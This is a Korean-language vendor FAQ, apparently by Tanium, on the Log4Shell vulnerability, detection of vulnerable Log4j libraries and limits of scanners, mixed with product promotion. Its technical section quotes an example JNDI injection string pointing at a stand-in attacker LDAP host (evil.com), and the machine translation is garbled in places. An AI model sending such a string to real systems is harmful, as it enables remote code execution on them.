메인 콘텐츠로 건너뛰기
Log4j: Tanium 전문가들이 여러분의 질문에 답합니다
새로운 쟁점

Log4j: Tanium 전문가들이 여러분의 질문에 답합니다

인기 있는 이 유틸리티에 대해 알아야 할 모든 것과 문제 해결 방법

아파치 로그파일( )의 치명적인 취약점이 아파치 로그파일() Log4j 버전에서 공개된 후, IT 업계는 2021 버전이 끝난 시점에 큰 충격에 휩싸였다. 아파치 로그파일은 아파치 소프트웨어 재단이 관리하는 널리 사용되는 자바 기반 로깅 유틸리티이다. 업계 밖에서는 거의 알려지지 않았지만, 전 세계적으로 다양한 운영 체제를 아우르는 수천 개의 프로그램에서 사용되고 있습니다. CVSS 점수가 10,0점인 이 제품에서 발견된 첫 번째 결함(“Log4Shell”)은 취약점으로서 최악의 수준에 해당합니다. 실제로, 이 취약점이 공개된 지 72 시간 동안 Log4j 은 80만 건 이상의 공격을 받았습니다.

이 취약점에 대한 엄청난 양의 보도가 쏟아지면서, 타늄(Tanium) 전문가들은 질문 세례를 받고 있다. Log4Shell이란 무엇인가요? 이것을 어떻게 악용할 수 있나요? 그렇다면 조직은 어떻게 대응해야 할까요? 시간을 절약하고 전 세계 조직들이 이에 대응하고 피해를 최소화할 수 있도록 돕기 위해, 저희가 자주 접하는 질문들과 이에 대한 답변을 아래에 정리했습니다.

CVE-2021-44228 (Log4Shell)는 무엇인가요?

Log4Shell 은 공격자가 애플리케이션이 로그 파일에 데이터를 기록하도록 유도함으로써 코드를 실행할 수 있게 하는 원격 코드 실행(RCE) 취약점입니다. 애플리케이션 텍스트 입력란에 입력된 매개변수나 기타 로깅 이벤트는 흔히 발생하며, 이것이 바로 이 취약점이 널리 퍼진 이유 중 하나입니다.
이 취약점이 있는 라이브러리는 클라이언트 시스템에 존재할 수 있으며, 대외적으로 노출된 웹 애플리케이션에만 국한되지 않습니다.

기술적인 내용

Log4j 은 설계상 JNDI(Java Naming and Directory Interface)라는 API를 통해 메시지에 외부 정보에 대한 참조를 포함할 수 있도록 합니다. JNDI 기능을 사용하면 LDAP(Lightweight Directory Access Protocol)를 비롯한 여러 프로토콜을 통해 이러한 외부 참조에 접근할 수 있습니다.

공격자가 ${jndi:ldap://evil.com/bad}와 같이 악의적으로 조작된 문자열을 전송하면, 서버는 해당 메시지를 해석하여 LDAP 서버(evil.com)에 접속한 뒤 “bad” 객체를 요청하게 됩니다. 악의적인 공격자에 의해 제어되고 있는 evil.com 서버는 이후 애플리케이션이 악성 Java 클래스(bad.class)를 로드하도록 유도합니다.

취약점이 있는 Log4j 버전이 설치되어 있고 공격자가 LDAP 서버를 제어하고 있는 경우, bad.class 파일에는 공격자가 원하는 어떤 명령어도 포함될 수 있으며, 이는 랜섬웨어부터 크립토재킹, 정보 탈취에 이르기까지 광범위한 공격의 가능성을 열어줍니다.

RCE 외에도, 취약한 버전은 JNDI 호출의 입력 값을 제대로 검증하지 못해, 시스템 변수가 열거 및 유출될 위험이 있습니다.

소프트웨어 공급망 취약점(예: Struts, NPM)이 증가하고 있다. Log4J 은 어떤 수준일까요?

Log4J 번 취약점은 와 유사한데, 이는 조직이 자체적으로 개발하고 유지 관리하는 애플리케이션이 아닌 이상, 조직이 자체적으로 패치를 적용할 수 없는 취약점이기 때문입니다.

Log4J 은 와 다릅니다. 이는 아마도 지난 10년 이상 동안 우리가 목격한 취약점 중 가장 광범위한 영향을 미치고 심각도가 가장 높은 취약점일 뿐만 아니라, 당분간 사라지지 않을 것이기 때문입니다. 이는 모든 종류의 운영 체제에 영향을 미치며, 무료/오픈소스 소프트웨어, 엔터프라이즈 애플리케이션, 클라이언트, 서버, IoT 기기 등 거의 모든 곳에서 발생할 수 있습니다. 이 취약점은 원격으로 악용될 수 있으며, 측면 이동에 이용될 수 있고, 악용 여부를 탐지하는 데는 공격자들이 지속적으로 우회하는 시그니처 기반 규칙에 의존하고 있습니다.

조직들은 자사 인프라에서 취약한 부분을 파악한 뒤, 애플리케이션 소유자나 개발자로부터 관련 문서를 확보해 패치나 완화 조치를 찾아 대규모로 배포해야만 했습니다.

Log4j에 대해 흔히 있는 오해에는 어떤 것들이 있나요?

  • 패치하는 건 쉽습니다
  • 이는 인터넷에 노출된 시스템에만 영향을 미칩니다.
  • 조직은 해당 취약점이 발견된 모든 사례에 대해 자체적으로 패치를 적용할 수 있습니다.
  • 설치된 애플리케이션 목록만 검색해도 이를 파악하기에 충분합니다.

Tanium은 Log4j 개의 인스턴스를 찾는 데 어떻게 도움이 될 수 있을까요?

Log4Shell 번 도로가 그토록 위험한 이유 중 하나는 Log4j 번 도로를 찾기가 어려울 수 있기 때문이다.

조직의 환경에는 이 라이브러리를 활용하는 수백 개의 프로그램이 설치되어 있을 수 있습니다. 이 취약점은 애플리케이션에서 사용하는 라이브러리에 존재하기 때문에, 애플리케이션 자체를 수정할 수는 없습니다. 그들은 사용 중인 모든 소프트웨어의 공급업체들이 해당 소프트웨어를 검토하고, 패치를 적용하며, 업데이트를 배포할 때까지 기다려야 합니다. 또한, 설치된 앱이나 CVE를 스캔한다고 해도 어떤 소프트웨어 패키지가 이 라이브러리를 사용하는지에 대한 증거는 발견되지 않을 것입니다.

Tanium Reveal은 파일에서 정보를 추출하는 능력 면에서 독보적입니다. 압축된 라이브러리 내부에 있는 manifest.mf, pom.xml 또는 Log4j 의 존재를 나타내는 기타 징후를 감지할 수 있습니다. 이처럼 Tanium Reveal은 파일 이름이나 확장자를 넘어 파일 자체를 분석할 수 있는 유일한 솔루션입니다. CVE-2021-44228의 경우, JAR 파일 안에 들어 있는 JAR 파일, 그 안의 JAR 파일, 또 그 안의 JAR 파일 등 여러 겹으로 중첩된 JAR 파일들 속에서 취약한 JAR 파일(.JAR 파일)을 찾아볼 수 있습니다.

Tanium과 당사의 파트너사는 다른 도구에서는 감지되지 않거나 숨겨져 있는 Log4j 건의 사례를 고객에게 보여줄 수 있습니다. 이를 지원하기 위해, 신규 및 기존 고객 모두에게 해당 취약점을 파악하고 해결할 수 있도록 무료로 도움을 드리고 있습니다.

Reveal이 잠재적 일치 항목을 발견하면 조직은 어떻게 해야 할까요?

Tanium Reveal은 해당 패턴과 일치하는 파일을 표시해 주지만, 이것이 취약점을 완벽하게 나타내는 것은 아닙니다. Reveal에서 PHI 또는 PII에 대한 유효성 검사 기법은 , 및 문서에서 확인할 수 있습니다. Log4j 버전 일치인 경우에는 심층적인 검증이 필요하지 않을 수도 있습니다.

하지만 필요한 경우, ‘결과 표시’ 단계에서 신속하게 조치 단계로 넘어가 의심스러운 파일이 어떤 제품에서 나온 것인지 파악하고, 해당 공급업체의 취약점을 확인한 뒤 패치를 적용할지 아니면 파일을 삭제할지 결정할 수 있습니다.

Tanium에는 결과를 더 심층적으로 분석하여 참/거짓 여부를 파악할 수 있는 다양한 옵션이 있습니다. 다음은 실행 가능한 방안들에 대한 제안이지만, 이 목록이 모든 경우를 망라하는 것은 아니며, 조직의 환경과 기존의 업무 흐름·정책·절차에 따라 크게 달라질 수 있습니다.

이 상황이 단순한 사고 대응이라기보다는 위협 탐지 활동에 가깝다는 점을 유의해야 합니다. 향후 조치들은 영향을 받은 조직의 조사 결과에 크게 좌우될 것입니다. SANS에서는 사고 대응을 위한 ‘ (PICERL)’ 모델( )에 대한 훌륭한 요약 자료를 제공하고 있습니다. 이 자료는에서 확인하실 수 있습니다. 이 모델에 따르면, Tanium Reveal과 Index는 ‘준비’ 및 ‘식별’ 단계에 속합니다.

CISA의 스캐너는 어떤 도움이 될까요?

2021년 12월 21일에서 CISA는 fullhunt.io가 처음 개발한 오픈소스 ‘ Log4j ’ 스캐너 도구()의 버전을 공개했습니다. 이 스캐너는 유용하기는 하지만, 취약한 엔드포인트가 있고 해당 애플리케이션이 수신 대기 중인 위치를 겨냥해야만 작동합니다. 시스템 구성 방식에 대한 추측에 의존하기 때문에, 여전히 취약한 엔드포인트를 놓칠 가능성이 있습니다.

조직이 이 도구를 활용하고자 하더라도, 테스트할 엔드포인트 목록을 보다 명확히 파악하기 위해서는 여전히 Tanium Reveal을 사용해야 합니다. 또한 이 스캐너는 디스크나 백업 파일에 있는 취약한 .JAR 파일이나, 스캔 시점에 실행 중이지 않은 파일은 탐지하지 못한다는 점도 유의해야 합니다.

또한, 이 스캐너는 취약점이 발견된 앱에 대해 취약점을 완화하거나 업데이트된 패치를 적용할 수 있는 기능을 제공하지 않습니다. 이는 Log4j 문제를 해결하는 데 도움이 되는 또 다른 중요한 도구이지만, 권위 있는 방법이나 포괄적인 해결책으로 간주되어서는 안 됩니다.

취약점 스캔만으로는 왜 효과가 없는가?

  • 정의 업데이트에는 시간이 걸리며, 이러한 정의는 소프트웨어 공급업체가 취약점 상태를 공개하는지에 따라 달라집니다.
  • 이는 대개 알려진 취약점이 있는 애플리케이션을 기반으로 합니다. Log4j은 다른 라이브러리와 마찬가지로, 해당 취약점을 확실하게 파악하기 위해서는 사용자의 환경에 있는 여러 소프트웨어 계층을 철저히 조사해야 합니다.
  • 많은 취약점 스캐너들이 취약점을 무해한 방식으로 악용하는 “무차별 공격(spray and pray)” 방식을 사용하고 있습니다. 이는 부분적으로만 효과가 있습니다. 스캔하려는 포트에서 취약한 서비스가 수신 대기 중이어야 합니다. 애플리케이션이 디스크에 비활성 상태로 남아 있다면, 해당 스캐너들은 이를 탐지하지 못할 것입니다.

Log4j 번 취약점을 완화했는지 어떻게 알 수 있나요?

소프트웨어의 모든 인스턴스에 대한 패치를 모두 적용한 후에는 — 하지만 그때쯤이면 필연적으로 해결해야 할 새로운 취약점이 생겨날 것입니다. 보안을 단순히 체크리스트나 “완료”라고 표시하고 넘어갈 수 있는 과제가 아니라 하나의 과정으로 생각하는 것이 중요합니다. 위협 환경은 계속해서 변화하고 있습니다. 네트워크에 새로운 자산이 추가될 때마다, 그리고 연구원이 새로운 버그를 발견할 때마다, 여러분이 해야 할 일이 더 늘어날 것입니다. 그렇기 때문에 상황에 따라 유연하게 대응할 수 있는 능력이 매우 중요합니다. “필수적”이라는 이유로 구식 앱을 계속 방치하는 문화를 바꾸어야 합니다. 우리는 위험을 감수하기보다는 변화를 받아들여야 합니다. 위험 수용은 변화를 조율할 시간을 확보하기 위한 전략일 뿐, 영구적인 상태가 아닙니다.

감염되었는지 알기까지 얼마나 걸리나요?

조직은 Tanium Reveal을 몇 시간 만에 도입할 수 있으며, 이를 통해 즉시 결과를 수집하기 시작하여 조사 및 위협 탐지 전략을 조정하는 데 활용할 수 있습니다.

Tanium을 사용하여 Log4j의 문제점을 파악하거나 해결하는 데 파트너의 도움을 받을 수 있나요?

네. 전 세계 대부분의 Tanium 파트너사들은 이미 관련 설명을 들었으며, Log4j 탐색 및 문제 해결의 모든 측면을 지원하거나, 도구 통합 및 합리화를 통해 보안 스택을 더욱 최적화할 수 있도록 서비스를 제공할 준비가 되어 있습니다.

Reveal은 그 밖에도 어떤 도움을 드릴 수 있을까요?

Tanium Reveal은 다음과 같은 방법을 통해 Log4j 을 탐지하고 해결하는 데 도움을 줄 수 있습니다:

  • 노출된 비밀번호 파악하기
  • 동적 사냥 수행

FTC의 Log4j호 경고에 대해 무엇을 알아야 할까요?

연방거래위원회(FTC)는 모든 기업이 이 취약점을 점검하고 조치를 취해야 한다는 요건을 발표했습니다. 이는 악명 높은 이퀴팩스(Equifax) 정보 유출 사고를 야기한 아파치 스트러츠(Apache Struts)의 버그만큼이나 심각하거나 그보다 더 심각한 문제이기 때문입니다. FTC와 CISA는 헤드라인을 장식할 만한 보안 침해 사건이 드러나기 전까지는 시간이 얼마 남지 않았다는 점을 인식하고 있다.

글로벌 기업들은 이미 Log4Shell 을 통해 해킹을 당했을 가능성이 높으며, 공격자들은 은밀히 네트워크를 분석하고, 데이터를 유출하며, 추가 공격을 준비하고 있을 것입니다. 이 취약점이 미치는 진정한 영향을 우리가 깨닫기까지는 꽤 오랜 시간이 걸릴 것입니다.

Log4j 에 대해 관련 추가 문의 사항이 있거나, 이 취약점을 파악하는 데 도움이 되는 당사의 무료 서비스를 이용하고 싶으시다면, 지금 바로 당사에 문의해 주십시오.

기존 고객님께서는 에서 Tanium 커뮤니티 게시글을 통해 ‘ Log4j ’ 문제를 파악하고 해결하는 방법에 대한 자세한 정보를 확인하실 수 있습니다. 이 정보는 새로운 정보가 입수되는 대로 정기적으로 업데이트됩니다.